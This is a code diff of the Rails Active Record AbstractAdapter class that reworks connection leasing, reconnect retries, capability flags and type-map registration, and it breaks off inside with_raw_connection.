     # Active Record supports multiple database systems. AbstractAdapter and
     # related classes form the abstraction layer which makes this possible.
     # An AbstractAdapter represents a connection to a database, and provides an
@@ -55,30 +23,59 @@ module ConnectionAdapters # :nodoc:
     # and +:limit+ options, etc.
     #
     # All the concrete database adapters follow the interface laid down in this class.
-    # {ActiveRecord::Base.connection}[rdoc-ref:ConnectionHandling#connection] returns an AbstractAdapter object, which
+    # {ActiveRecord::Base.lease_connection}[rdoc-ref:ConnectionHandling#lease_connection] returns an AbstractAdapter object, which
     # you can use.
     #
     # Most of the methods in the adapter are useful during migrations. Most
     # notably, the instance methods provided by SchemaStatements are very useful.
     class AbstractAdapter
-      ADAPTER_NAME = "Abstract".freeze
+      ADAPTER_NAME = "Abstract"
+
+      ##
+      # :singleton-method: migration_strategy
+      #
+      # Allows configuration of migration strategy per adapter type.
+      # When set on a specific adapter class (e.g., PostgreSQLAdapter),
+      # all migrations using that adapter will use the specified strategy
+      # instead of the global ActiveRecord.migration_strategy.
+      #
+      #   ActiveRecord::ConnectionAdapters::PostgreSQLAdapter.migration_strategy = CustomPostgresStrategy
+      #   ActiveRecord::ConnectionAdapters::Mysql2Adapter.migration_strategy = CustomMySQLStrategy
+      class_attribute :migration_strategy, instance_writer: false
+
       include ActiveSupport::Callbacks
       define_callbacks :checkout, :checkin
 
       include Quoting, DatabaseStatements, SchemaStatements
       include DatabaseLimits
       include QueryCache
-      include ColumnDumper
       include Savepoints
 
       SIMPLE_INT = /\A\d+\z/
+      COMMENT_REGEX = %r{(?:--.*\n)|/\*(?:[^*]|\*[^/])*\*/}
 
-      attr_accessor :visitor, :pool
-      attr_reader :schema_cache, :owner, :logger
+      attr_reader :pool
+      attr_reader :visitor, :owner, :logger, :lock
+      attr_reader :allow_preconnect # :nodoc:
+      attr_accessor :pinned # :nodoc:
       alias :in_use? :owner
 
+      def pool=(value)
+        return if value.eql?(@pool)
+        @schema_cache = nil
+        @pool = value
+      end
+
+      def allow_preconnect=(value) # :nodoc:
+        @lock.synchronize do
+          @allow_preconnect = value
+        end
+      end
+
       def self.type_cast_config_to_integer(config)
-        if config =~ SIMPLE_INT
+        if config.is_a?(Integer)
+          config
+        elsif SIMPLE_INT.match?(config)
           config.to_i
         else
           config
@@ -93,113 +90,263 @@ def self.type_cast_config_to_boolean(config)
         end
       end
 
-      attr_reader :prepared_statements
+      def self.validate_default_timezone(config)
+        case config
+        when nil
+        when "utc", "local"
+          config.to_sym
+        else
+          raise ArgumentError, "default_timezone must be either 'utc' or 'local'"
+        end
+      end
 
-      def initialize(connection, logger = nil, config = {}) # :nodoc:
-        super()
+      DEFAULT_READ_QUERY = [:begin, :commit, :explain, :release, :rollback, :savepoint, :select, :with] # :nodoc:
+      private_constant :DEFAULT_READ_QUERY
 
-        @connection          = connection
-        @owner               = nil
-        @instrumenter        = ActiveSupport::Notifications.instrumenter
-        @logger              = logger
-        @config              = config
-        @pool                = nil
-        @schema_cache        = SchemaCache.new self
-        @quoted_column_names, @quoted_table_names = {}, {}
-        @visitor = arel_visitor
+      def self.build_read_query_regexp(*parts) # :nodoc:
+        parts += DEFAULT_READ_QUERY
+        parts = parts.map { |part| /#{part}/i }
+        /\A(?:[(\s]|#{COMMENT_REGEX})*#{Regexp.union(*parts)}/
+      end
+
+      def self.find_cmd_and_exec(commands, *args) # :doc:
+        commands = Array(commands)
+
+        dirs_on_path = ENV["PATH"].to_s.split(File::PATH_SEPARATOR)
+        unless (ext = RbConfig::CONFIG["EXEEXT"]).empty?
+          commands = commands.map { |cmd| "#{cmd}#{ext}" }
+        end
+
+        full_path_command = nil
+        found = commands.detect do |cmd|
+          dirs_on_path.detect do |path|
+            full_path_command = File.join(path, cmd)
+            begin
+              stat = File.stat(full_path_command)
+            rescue SystemCallError
+            else
+              stat.file? && stat.executable?
+            end
+          end
+        end
 
-        if self.class.type_cast_config_to_boolean(config.fetch(:prepared_statements) { true })
-          @prepared_statements = true
-          @visitor.extend(DetermineIfPreparableVisitor)
+        if found
+          exec full_path_command, *args
         else
-          @prepared_statements = false
+          abort("Couldn't find database client: #{commands.join(', ')}. Check your $PATH and try again.")
         end
       end
 
-      class Version
-        include Comparable
+      # Opens a database console session.
+      def self.dbconsole(config, options = {})
+        raise NotImplementedError.new("#{self.class} should define `dbconsole` that accepts a db config and options to implement connecting to the db console")
+      end
 
-        def initialize(version_string)
-          @version = version_string.split(".").map(&:to_i)
-        end
+      def initialize(config_or_deprecated_connection, deprecated_logger = nil, deprecated_connection_options = nil, deprecated_config = nil) # :nodoc:
+        super()
 
-        def <=>(version_string)
-          @version <=> version_string.split(".").map(&:to_i)
+        @raw_connection = nil
+        @unconfigured_connection = nil
+        @connected_since = nil
+
+        if config_or_deprecated_connection.is_a?(Hash)
+          @config = config_or_deprecated_connection.symbolize_keys
+          @logger = ActiveRecord::Base.logger
+
+          if deprecated_logger || deprecated_connection_options || deprecated_config
+            raise ArgumentError, "when initializing an Active Record adapter with a config hash, that should be the only argument"
+          end
+        else
+          # Soft-deprecated for now; we'll probably warn in future.
+
+          @unconfigured_connection = config_or_deprecated_connection
+          @connected_since = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+          @logger = deprecated_logger || ActiveRecord::Base.logger
+          if deprecated_config
+            @config = (deprecated_config || {}).symbolize_keys
+            @connection_parameters = deprecated_connection_options
+          else
+            @config = (deprecated_connection_options || {}).symbolize_keys
+            @connection_parameters = nil
+          end
         end
+
+        @owner = nil
+        @pinned = false
+        @pool = ActiveRecord::ConnectionAdapters::NullPool.new
+        @idle_since = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+        @allow_preconnect = false
+        @visitor = arel_visitor
+        @statements = build_statement_pool
+        self.lock_thread = nil
+
+        @prepared_statements = !ActiveRecord.disable_prepared_statements && self.class.type_cast_config_to_boolean(
+          @config.fetch(:prepared_statements) { default_prepared_statements }
+        )
+
+        @advisory_locks_enabled = self.class.type_cast_config_to_boolean(
+          @config.fetch(:advisory_locks, true)
+        )
+
+        @default_timezone = self.class.validate_default_timezone(@config[:default_timezone])
+
+        @raw_connection_dirty = false
+        @last_activity = nil
+        @verified = false
+
+        @pool_jitter = rand * max_jitter
       end
 
-      class BindCollector < Arel::Collectors::Bind
-        def compile(bvs, conn)
-          casted_binds = bvs.map(&:value_for_database)
-          super(casted_binds.map { |value| conn.quote(value) })
-        end
+      def inspect # :nodoc:
+        name_field = " name=#{pool.db_config.name.inspect}" unless pool.db_config.name == "primary"
+        shard_field = " shard=#{shard.inspect}" unless shard == :default
+
+        "#<#{self.class.name}:#{'%#016x' % (object_id << 1)} env_name=#{pool.db_config.env_name.inspect}#{name_field} role=#{role.inspect}#{shard_field}>"
       end
 
-      class SQLString < Arel::Collectors::SQLString
-        def compile(bvs, conn)
-          super(bvs)
+      def lock_thread=(lock_thread) # :nodoc:
+        @lock =
+        case lock_thread
+        when Thread
+          ActiveSupport::Concurrency::ThreadMonitor.new
+        when Fiber
+          ::Monitor.new
+        else
+          ActiveSupport::Concurrency::NullLock
         end
       end
 
-      def collector
-        if prepared_statements
-          SQLString.new
+      MAX_JITTER = 0.0..1.0 # :nodoc:
+      def max_jitter
+        (@config[:pool_jitter] || 0.2).to_f.clamp(MAX_JITTER)
+      end
+
+      def replica?
+        @config[:replica] || false
+      end
+
+      def connection_retries
+        (@config[:connection_retries] || 1).to_i
+      end
+
+      def verify_timeout
+        (@config[:verify_timeout] || 2).to_i
+      end
+
+      def retry_deadline
+        if @config[:retry_deadline]
+          @config[:retry_deadline].to_f
         else
-          BindCollector.new
+          nil
         end
       end
 
-      def arel_visitor # :nodoc:
-        Arel::Visitors::ToSql.new(self)
+      def default_timezone
+        @default_timezone || ActiveRecord.default_timezone
       end
 
-      def valid_type?(type)
-        false
+      # Determines whether writes are currently being prevented.
+      #
+      # Returns true if the connection is a replica or returns
+      # the value of +current_preventing_writes+.
+      def preventing_writes?
+        return true if replica?
+        return false if connection_descriptor.nil?
+
+        connection_descriptor.current_preventing_writes
       end
 
-      def schema_creation
-        SchemaCreation.new self
+      def prepared_statements?
+        @prepared_statements && !prepared_statements_disabled_cache.include?(object_id)
       end
+      alias :prepared_statements :prepared_statements?
 
-      # Returns an array of +Column+ objects for the table specified by +table_name+.
-      def columns(table_name) # :nodoc:
-        table_name = table_name.to_s
-        column_definitions(table_name).map do |field|
-          new_column_from_field(table_name, field)
+      def prepared_statements_disabled_cache # :nodoc:
+        ActiveSupport::IsolatedExecutionState[:active_record_prepared_statements_disabled_cache] ||= Set.new
+      end
+
+      class Version
+        include Comparable
+
+        attr_reader :full_version_string
+
+        def initialize(version_string, full_version_string = nil)
+          @version = version_string.split(".").map(&:to_i)
+          @full_version_string = full_version_string
         end
+
+        def <=>(version_string)
+          @version <=> version_string.split(".").map(&:to_i)
+        end
+
+        def to_s
+          @version.join(".")
+        end
+      end
+
+      def valid_type?(type) # :nodoc:
+        self.class.valid_type?(type)
+      end
+
+      def native_database_types # :nodoc:
+        self.class.native_database_types
       end
 
       # this method must only be called while holding connection pool's mutex
       def lease
         if in_use?
-          msg = "Cannot lease connection, "
-          if @owner == Thread.current
+          msg = +"Cannot lease connection, "
+          if @owner == ActiveSupport::IsolatedExecutionState.context
             msg << "it is already leased by the current thread."
           else
             msg << "it is already in use by a different thread: #{@owner}. " \
-                   "Current thread: #{Thread.current}."
+                   "Current thread: #{ActiveSupport::IsolatedExecutionState.context}."
           end
           raise ActiveRecordError, msg
         end
 
-        @owner = Thread.current
+        @owner = ActiveSupport::IsolatedExecutionState.context
+      end
+
+      def connection_descriptor # :nodoc:
+        @pool.connection_descriptor
+      end
+
+      # The role (e.g. +:writing+) for the current connection. In a
+      # non-multi role application, +:writing+ is returned.
+      def role
+        @pool.role
+      end
+
+      # The shard (e.g. +:default+) for the current connection. In
+      # a non-sharded application, +:default+ is returned.
+      def shard
+        @pool.shard
+      end
+
+      def schema_cache
+        @pool.schema_cache || (@schema_cache ||= BoundSchemaReflection.for_lone_connection(@pool.schema_reflection, self))
       end
 
-      def schema_cache=(cache)
-        cache.connection = self
-        @schema_cache = cache
+      def pool_jitter(duration)
+        duration * (1.0 - @pool_jitter)
       end
 
       # this method must only be called while holding connection pool's mutex
-      def expire
+      def expire(update_idle = true) # :nodoc:
         if in_use?
-          if @owner != Thread.current
+          if @owner != ActiveSupport::IsolatedExecutionState.context
             raise ActiveRecordError, "Cannot expire connection, " \
               "it is owned by a different thread: #{@owner}. " \
-              "Current thread: #{Thread.current}."
+              "Current thread: #{ActiveSupport::IsolatedExecutionState.context}."
           end
 
-          @owner = nil
+          _run_checkin_callbacks do
+            @idle_since = Process.clock_gettime(Process::CLOCK_MONOTONIC) if update_idle
+            @owner = nil
+            enable_lazy_transactions!
+            unset_query_cache!
+          end
         else
           raise ActiveRecordError, "Cannot expire connection, it is not currently leased."
         end
@@ -208,21 +355,49 @@ def expire
       # this method must only be called while holding connection pool's mutex (and a desire for segfaults)
       def steal! # :nodoc:
         if in_use?
-          if @owner != Thread.current
+          if @owner != ActiveSupport::IsolatedExecutionState.context
             pool.send :remove_connection_from_thread_cache, self, @owner
 
-            @owner = Thread.current
+            @owner = ActiveSupport::IsolatedExecutionState.context
           end
         else
           raise ActiveRecordError, "Cannot steal connection, it is not currently leased."
         end
       end
 
+      # Seconds since this connection was returned to the pool
+      def seconds_idle # :nodoc:
+        return 0 if in_use?
+        Process.clock_gettime(Process::CLOCK_MONOTONIC) - @idle_since
+      end
+
+      # Seconds since this connection last communicated with the server
+      def seconds_since_last_activity # :nodoc:
+        if @raw_connection && @last_activity
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - @last_activity
+        end
+      end
+
+      # Seconds since this connection was established. nil if not
+      # connected; infinity if the connection has been explicitly
+      # retired.
+      def connection_age # :nodoc:
+        if @raw_connection && @connected_since
+          Process.clock_gettime(Process::CLOCK_MONOTONIC) - @connected_since
+        end
+      end
+
+      # Mark the connection as needing to be retired, as if the age has
+      # exceeded the maximum allowed.
+      def force_retirement # :nodoc:
+        @connected_since &&= -Float::INFINITY
+      end
+
       def unprepared_statement
-        old_prepared_statements, @prepared_statements = @prepared_statements, false
+        cache = prepared_statements_disabled_cache.add?(object_id) if @prepared_statements
         yield
       ensure
-        @prepared_statements = old_prepared_statements
+        cache&.delete(object_id)
       end
 
       # Returns the human-readable name of the adapter. Use mixed case - one
@@ -231,15 +406,17 @@ def adapter_name
         self.class::ADAPTER_NAME
       end
 
-      # Does this adapter support migrations?
-      def supports_migrations?
-        false
+      # Does the database for this adapter exist?
+      def self.database_exists?(config)
+        new(config).database_exists?
       end
 
-      def supports_primary_key? # :nodoc:
+      def database_exists?
+        connect!
         true
+      rescue ActiveRecord::NoDatabaseError
+        false
       end
-      deprecate :supports_primary_key?
 
       # Does this adapter support DDL rollbacks in transactions? That is, would
       # CREATE TABLE or ALTER TABLE get rolled back by a transaction?
@@ -256,6 +433,16 @@ def supports_savepoints?
         false
       end
 
+      # Do TransactionRollbackErrors on savepoints affect the parent
+      # transaction?
+      def savepoint_errors_invalidate_transactions?
+        false
+      end
+
+      def supports_restart_db_transaction?
+        false
+      end
+
       # Does this adapter support application-enforced advisory locking?
       def supports_advisory_locks?
         false
@@ -268,6 +455,10 @@ def prefetch_primary_key?(table_name = nil)
         false
       end
 
+      def supports_partitioned_indexes?
+        false
+      end
+
       # Does this adapter support index sort order?
       def supports_index_sort_order?
         false
@@ -278,6 +469,11 @@ def supports_partial_index?
         false
       end
 
+      # Does this adapter support including non-key columns?
+      def supports_index_include?
+        false
+      end
+
       # Does this adapter support expression indices?
       def supports_expression_index?
         false
@@ -309,10 +505,29 @@ def supports_foreign_keys?
         false
       end
 
-      # Does this adapter support creating foreign key constraints
-      # in the same statement as creating the table?
-      def supports_foreign_keys_in_create?
-        supports_foreign_keys?
+      # Does this adapter support creating invalid constraints?
+      def supports_validate_constraints?
+        false
+      end
+
+      # Does this adapter support creating deferrable constraints?
+      def supports_deferrable_constraints?
+        false
+      end
+
+      # Does this adapter support creating check constraints?
+      def supports_check_constraints?
+        false
+      end
+
+      # Does this adapter support creating exclusion constraints?
+      def supports_exclusion_constraints?
+        false
+      end
+
+      # Does this adapter support creating unique constraints?
+      def supports_unique_constraints?
+        false
       end
 
       # Does this adapter support views?
@@ -320,12 +535,17 @@ def supports_views?
         false
       end
 
+      # Does this adapter support materialized views?
+      def supports_materialized_views?
+        false
+      end
+
       # Does this adapter support datetime with precision?
       def supports_datetime_with_precision?
         false
       end
 
-      # Does this adapter support json data type?
+      # Does this adapter support JSON data type?
       def supports_json?
         false
       end
@@ -340,22 +560,104 @@ def supports_comments_in_create?
         false
       end
 
-      # Does this adapter support multi-value insert?
-      def supports_multi_insert?
+      # Does this adapter support virtual columns?
+      def supports_virtual_columns?
+        false
+      end
+
+      # Does this adapter support foreign/external tables?
+      def supports_foreign_tables?
+        false
+      end
+
+      # Does this adapter support optimizer hints?
+      def supports_optimizer_hints?
+        false
+      end
+
+      def supports_common_table_expressions?
+        false
+      end
+
+      def supports_lazy_transactions?
+        false
+      end
+
+      def supports_insert_returning?
+        false
+      end
+
+      def supports_insert_on_duplicate_skip?
+        false
+      end
+
+      def supports_insert_on_duplicate_update?
+        false
+      end
+
+      def supports_insert_conflict_target?
+        false
+      end
+
+      def supports_concurrent_connections?
         true
       end
 
-      # Does this adapter support virtual columns?
-      def supports_virtual_columns?
+      def supports_nulls_not_distinct?
+        false
+      end
+
+      def supports_disabling_indexes?
         false
       end
 
+      def return_value_after_insert?(column) # :nodoc:
+        column.auto_populated?
+      end
+
+      def async_enabled? # :nodoc:
+        supports_concurrent_connections? &&
+          !ActiveRecord.async_query_executor.nil? && !pool.async_executor.nil?
+      end
+
       # This is meant to be implemented by the adapters that support extensions
-      def disable_extension(name)
+      def disable_extension(name, **)
       end
 
       # This is meant to be implemented by the adapters that support extensions
-      def enable_extension(name)
+      def enable_extension(name, **)
+      end
+
+      # This is meant to be implemented by the adapters that support custom enum types
+      def create_enum(...) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support custom enum types
+      def drop_enum(...) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support custom enum types
+      def rename_enum(...) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support custom enum types
+      def add_enum_value(...) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support custom enum types
+      def rename_enum_value(...) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support virtual tables
+      def create_virtual_table(*) # :nodoc:
+      end
+
+      # This is meant to be implemented by the adapters that support virtual tables
+      def drop_virtual_table(*) # :nodoc:
+      end
+
+      def advisory_locks_enabled? # :nodoc:
+        supports_advisory_locks? && @advisory_locks_enabled
       end
 
       # This is meant to be implemented by the adapters that support advisory
@@ -389,44 +691,124 @@ def disable_referential_integrity
         yield
       end
 
+      # Override to check all foreign key constraints in a database.
+      # The adapter should raise a +ActiveRecord::StatementInvalid+ if foreign key
+      # constraints are not met.
+      def check_all_foreign_keys_valid!
+      end
+
       # CONNECTION MANAGEMENT ====================================
 
+      # Checks whether the connection to the database was established. This doesn't
+      # include checking whether the database is actually capable of responding, i.e.
+      # whether the connection is stale.
+      def connected?
+        !@raw_connection.nil?
+      end
+
       # Checks whether the connection to the database is still active. This includes
       # checking whether the database is actually capable of responding, i.e. whether
       # the connection isn't stale.
       def active?
       end
 
-      # Disconnects from the database if already connected, and establishes a
-      # new connection with the database. Implementors should call super if they
-      # override the default implementation.
-      def reconnect!
-        clear_cache!
-        reset_transaction
+      # Disconnects from the database if already connected, and establishes a new
+      # connection with the database. Implementors should define private #reconnect
+      # instead.
+      def reconnect!(restore_transactions: false)
+        retries_available = connection_retries
+        deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline
+
+        @lock.synchronize do
+          attempt_configure_connection do
+            @allow_preconnect = false
+
+            reconnect
+
+            enable_lazy_transactions!
+            @raw_connection_dirty = false
+            @last_activity = @connected_since = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+            @verified = true
+            @allow_preconnect = true
+
+            reset_transaction(restore: restore_transactions) do
+              clear_cache!(new_connection: true)
+              configure_connection
+            end
+          rescue => original_exception
+            translated_exception = translate_exception_class(original_exception, nil, nil)
+            retry_deadline_exceeded = deadline && deadline < Process.clock_gettime(Process::CLOCK_MONOTONIC)
+
+            if !retry_deadline_exceeded && retries_available > 0
+              retries_available -= 1
+
+              if retryable_connection_error?(translated_exception)
+                backoff(connection_retries - retries_available)
+                retry
+              end
+            end
+
+            raise translated_exception
+          end
+        end
       end
 
       # Disconnects from the database if already connected. Otherwise, this
       # method does nothing.
       def disconnect!
-        clear_cache!
-        reset_transaction
+        @lock.synchronize do
+          clear_cache!(new_connection: true)
+          reset_transaction
+          @raw_connection_dirty = false
+          @connected_since = nil
+          @last_activity = nil
+          @verified = false
+        end
+      end
+
+      # Immediately forget this connection ever existed. Unlike disconnect!,
+      # this will not communicate with the server.
+      #
+      # After calling this method, the behavior of all other methods becomes
+      # undefined. This is called internally just before a forked process gets
+      # rid of a connection that belonged to its parent.
+      def discard!
+        # This should be overridden by concrete adapters.
       end
 
       # Reset the state of this connection, directing the DBMS to clear
       # transactions and other connection-related server-side state. Usually a
       # database-dependent operation.
       #
-      # The default implementation does nothing; the implementation should be
-      # overridden by concrete adapters.
+      # If a database driver or protocol does not support such a feature,
+      # implementors may alias this to #reconnect!. Otherwise, implementors
+      # should call super immediately after resetting the connection (and while
+      # still holding @lock).
       def reset!
-        # this should be overridden by concrete adapters
+        attempt_configure_connection do
+          clear_cache!(new_connection: true)
+          reset_transaction
+          configure_connection
+        end
+      end
+
+      # Removes the connection from the pool and disconnect it.
+      def throw_away!
+        pool.remove self
+        disconnect!
       end
 
-      ###
-      # Clear any caching the database adapter may be doing, for example
-      # clearing the prepared statement cache. This is database specific.
-      def clear_cache!
-        # this should be overridden by concrete adapters
+      # Clear any caching the database adapter may be doing.
+      def clear_cache!(new_connection: false)
+        if @statements
+          @lock.synchronize do
+            if new_connection
+              @statements.reset
+            else
+              @statements.clear
+            end
+          end
+        end
       end
 
       # Returns true if its required to reload the connection between requests for development mode.
@@ -437,29 +819,79 @@ def requires_reloading?
       # Checks whether the connection to the database is still active (i.e. not stale).
       # This is done under the hood by calling #active?. If the connection
       # is no longer active, then this method will reconnect to the database.
-      def verify!(*ignored)
-        reconnect! unless active?
+      def verify!
+        unless active?
+          @lock.synchronize do
+            if @unconfigured_connection
+              attempt_configure_connection do
+                @raw_connection = @unconfigured_connection
+                @unconfigured_connection = nil
+                configure_connection
+                @last_activity = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+                @verified = true
+                @allow_preconnect = true
+              end
+              return
+            end
+
+            reconnect!(restore_transactions: true)
+          end
+        end
+
+        @last_activity = Process.clock_gettime(Process::CLOCK_MONOTONIC)
+        @verified = true
+      end
+
+      def connect!
+        verify!
+        self
+      end
+
+      def clean! # :nodoc:
+        _run_checkout_callbacks do
+          @raw_connection_dirty = false
+          @verified = nil
+        end
+        self
+      end
+
+      def verified? # :nodoc:
+        @verified
       end
 
       # Provides access to the underlying database driver for this adapter. For
       # example, this method returns a Mysql2::Client object in case of Mysql2Adapter,
-      # and a PGconn object in case of PostgreSQLAdapter.
+      # and a PG::Connection object in case of PostgreSQLAdapter.
       #
       # This is useful for when you need to call a proprietary method such as
       # PostgreSQL's lo_* methods.
+      #
+      # Active Record cannot track if the database is getting modified using
+      # this client. If that is the case, generally you'll want to invalidate
+      # the query cache using +ActiveRecord::Base.clear_query_cache+.
       def raw_connection
-        @connection
+        with_raw_connection do |conn|
+          disable_lazy_transactions!
+          @raw_connection_dirty = true
+          conn
+        end
+      end
+
+      def default_uniqueness_comparison(attribute, value) # :nodoc:
+        attribute.eq(value)
       end
 
-      def case_sensitive_comparison(table, attribute, column, value) # :nodoc:
-        table[attribute].eq(value)
+      def case_sensitive_comparison(attribute, value) # :nodoc:
+        attribute.eq(value)
       end
 
-      def case_insensitive_comparison(table, attribute, column, value) # :nodoc:
+      def case_insensitive_comparison(attribute, value) # :nodoc:
+        column = column_for_attribute(attribute)
+
         if can_perform_case_insensitive_comparison_for?(column)
-          table[attribute].lower.eq(table.lower(value))
+          attribute.lower.eq(attribute.relation.lower(value))
         else
-          table[attribute].eq(value)
+          attribute.eq(value)
         end
       end
 
@@ -473,162 +905,440 @@ def close
         pool.checkin self
       end
 
-      def type_map # :nodoc:
-        @type_map ||= Type::TypeMap.new.tap do |mapping|
-          initialize_type_map(mapping)
+      def default_index_type?(index) # :nodoc:
+        index.using.nil?
+      end
+
+      # Called by ActiveRecord::InsertAll,
+      # Passed an instance of ActiveRecord::InsertAll::Builder,
+      # This method implements standard bulk inserts for all databases, but
+      # should be overridden by adapters to implement common features with
+      # non-standard syntax like handling duplicates or returning values.
+      def build_insert_sql(insert) # :nodoc:
+        if insert.skip_duplicates? || insert.update_duplicates?
+          raise NotImplementedError, "#{self.class} should define `build_insert_sql` to implement adapter-specific logic for handling duplicates during INSERT"
         end
+
+        "INSERT #{insert.into} #{insert.values_list}"
       end
 
-      def new_column(name, default, sql_type_metadata, null, table_name, default_function = nil, collation = nil) # :nodoc:
-        Column.new(name, default, sql_type_metadata, null, table_name, default_function, collation)
+      def get_database_version # :nodoc:
       end
 
-      def lookup_cast_type(sql_type) # :nodoc:
-        type_map.lookup(sql_type)
+      def database_version # :nodoc:
+        pool.server_version(self)
       end
 
-      def column_name_for_operation(operation, node) # :nodoc:
-        visitor.accept(node, collector).value
+      def check_version # :nodoc:
       end
 
-      def combine_bind_parameters(
-        from_clause: [],
-        join_clause: [],
-        where_clause: [],
-        having_clause: [],
-        limit: nil,
-        offset: nil
-      ) # :nodoc:
-        result = from_clause + join_clause + where_clause + having_clause
-        if limit
-          result << limit
+      # Returns the version identifier of the schema currently available in
+      # the database. This is generally equal to the number of the highest-
+      # numbered migration that has been executed, or 0 if no schema
+      # information is present / the database is empty.
+      def schema_version
+        pool.migration_context.current_version
+      end
+
+      class << self
+        def register_class_with_precision(mapping, key, klass, **kwargs) # :nodoc:
+          mapping.register_type(key) do |*args|
+            precision = extract_precision(args.last)
+            klass.new(precision: precision, **kwargs).freeze
+          end
         end
-        if offset
-          result << offset
+
+        def extended_type_map(default_timezone:) # :nodoc:
+          Type::TypeMap.new(self::TYPE_MAP).tap do |m|
+            register_class_with_precision m, %r(\A[^\(]*time)i, Type::Time, timezone: default_timezone
+            register_class_with_precision m, %r(\A[^\(]*datetime)i, Type::DateTime, timezone: default_timezone
+            m.alias_type %r(\A[^\(]*timestamp)i, "datetime"
+          end
         end
-        result
-      end
 
-      def default_index_type?(index) # :nodoc:
-        index.using.nil?
+        def valid_type?(type) # :nodoc:
+          !native_database_types[type].nil?
+        end
+
+        private
+          def initialize_type_map(m)
+            register_class_with_limit m, %r(boolean)i,       Type::Boolean
+            register_class_with_limit m, %r(char)i,          Type::String
+            register_class_with_limit m, %r(binary)i,        Type::Binary
+            register_class_with_limit m, %r(text)i,          Type::Text
+            register_class_with_precision m, %r(date)i,      Type::Date
+            register_class_with_precision m, %r(time)i,      Type::Time
+            register_class_with_precision m, %r(datetime)i,  Type::DateTime
+            register_class_with_limit m, %r(float)i,         Type::Float
+            register_class_with_limit m, %r(int)i,           Type::Integer
+
+            m.alias_type %r(blob)i,      "binary"
+            m.alias_type %r(clob)i,      "text"
+            m.alias_type %r(timestamp)i, "datetime"
+            m.alias_type %r(numeric)i,   "decimal"
+            m.alias_type %r(number)i,    "decimal"
+            m.alias_type %r(double)i,    "float"
+
+            m.register_type %r(^json)i, Type::Json.new.freeze
+
+            m.register_type(%r(decimal)i) do |sql_type|
+              scale = extract_scale(sql_type)
+              precision = extract_precision(sql_type)
+
+              if scale == 0
+                # FIXME: Remove this class as well
+                Type::DecimalWithoutScale.new(precision: precision).freeze
+              else
+                Type::Decimal.new(precision: precision, scale: scale).freeze
+              end
+            end
+          end
+
+          def register_class_with_limit(mapping, key, klass)
+            mapping.register_type(key) do |*args|
+              limit = extract_limit(args.last)
+              klass.new(limit: limit).freeze
+            end
+          end
+
+          def extract_scale(sql_type)
+            case sql_type
+            when /\((\d+)\)/ then 0
+            when /\((\d+)(,(\d+))\)/ then $3.to_i
+            end
+          end
+
+          def extract_precision(sql_type)
+            $1.to_i if sql_type =~ /\((\d+)(,\d+)?\)/
+          end
+
+          def extract_limit(sql_type)
+            $1.to_i if sql_type =~ /\((.*)\)/
+          end
       end
 
+      TYPE_MAP = Type::TypeMap.new.tap { |m| initialize_type_map(m) }
+      EXTENDED_TYPE_MAPS = Concurrent::Map.new
+
       private
+        def reconnect_can_restore_state?
+          transaction_manager.restorable? && !@raw_connection_dirty
+        end
 
-        def initialize_type_map(m)
-          register_class_with_limit m, %r(boolean)i,       Type::Boolean
-          register_class_with_limit m, %r(char)i,          Type::String
-          register_class_with_limit m, %r(binary)i,        Type::Binary
-          register_class_with_limit m, %r(text)i,          Type::Text
-          register_class_with_precision m, %r(date)i,      Type::Date
-          register_class_with_precision m, %r(time)i,      Type::Time
-          register_class_with_precision m, %r(datetime)i,  Type::DateTime
-          register_class_with_limit m, %r(float)i,         Type::Float
-          register_class_with_limit m, %r(int)i,           Type::Integer
-
-          m.alias_type %r(blob)i,      "binary"
-          m.alias_type %r(clob)i,      "text"
-          m.alias_type %r(timestamp)i, "datetime"
-          m.alias_type %r(numeric)i,   "decimal"
-          m.alias_type %r(number)i,    "decimal"
-          m.alias_type %r(double)i,    "float"
-
-          m.register_type(%r(decimal)i) do |sql_type|
-            scale = extract_scale(sql_type)
-            precision = extract_precision(sql_type)
-
-            if scale == 0
-              # FIXME: Remove this class as well
-              Type::DecimalWithoutScale.new(precision: precision)
+        # Lock the monitor, ensure we're properly connected and
+        # transactions are materialized, and then yield the underlying
+        # raw connection object.
+        #
+        # If +allow_retry+ is true, a connection-related exception will
+        # cause an automatic reconnect and re-run of the block, up to
+        # the connection's configured +connection_retries+ setting
+        # and the configured +retry_deadline+ limit. (Note that when
+        # +allow_retry+ is true, it's possible to return without having marked
+        # the connection as verified. If the block is guaranteed to exercise the
+        # connection, consider calling `verified!` to avoid needless
+        # verification queries in subsequent calls.)
+        #
+        # If +materialize_transactions+ is false, the block will be run without
+        # ensuring virtual transactions have been materialized in the DB
+        # server's state. The active transaction will also remain clean
+        # (if it is not already dirty), meaning it's able to be restored
+        # by reconnecting and opening an equivalent-depth set of new
+        # transactions. This should only be used by transaction control
+        # methods, and internal transaction-agnostic queries.
+        #
+        ###
+        #
+        # It's not the primary use case, so not something to optimize
+        # for, but note that this method does need to be re-entrant:
+        # +materialize_transactions+ will re-enter if it has work to do,
+        # and the yield block can also do so under some circumstances.
+        #
+        # In the latter case, we really ought to guarantee the inner
+        # call will not reconnect (which would interfere with the
+        # still-yielded connection in the outer block), but we currently
+        # provide no special enforcement there.
+        #
+        def with_raw_connection(allow_retry: false, materialize_transactions: true)
+          @lock.synchronize do
+            connect! if @raw_connection.nil? && reconnect_can_restore_state?
+
+            self.materialize_transactions if materialize_transactions
+
+            retries_available = allow_retry ? connection_retries : 0
+            deadline = retry_deadline && Process.clock_gettime(Process::CLOCK_MONOTONIC) + retry_deadline
+            reconnectable = reconnect_can_restore_state?
+
+            if @verified
+              # Cool, we're confident the connection's ready to use. (Note this might have
+              # become true during the above #materialize_transactions.)
+            elsif (last_activity = seconds_since_last_activity) && last_activity < verify_timeout
+              # We haven't actually verified the connection since we acquired it, but it
+              # has been used very recently. We're going to assume it's still okay.
+            elsif reconnectable
+              if allow_retry
+                # Not sure about the connection yet, but if anything goes wrong we can
+                # just reconnect and re-run our query
+              else
+                # We can reconnect if needed, but we don't trust the upcoming query to be
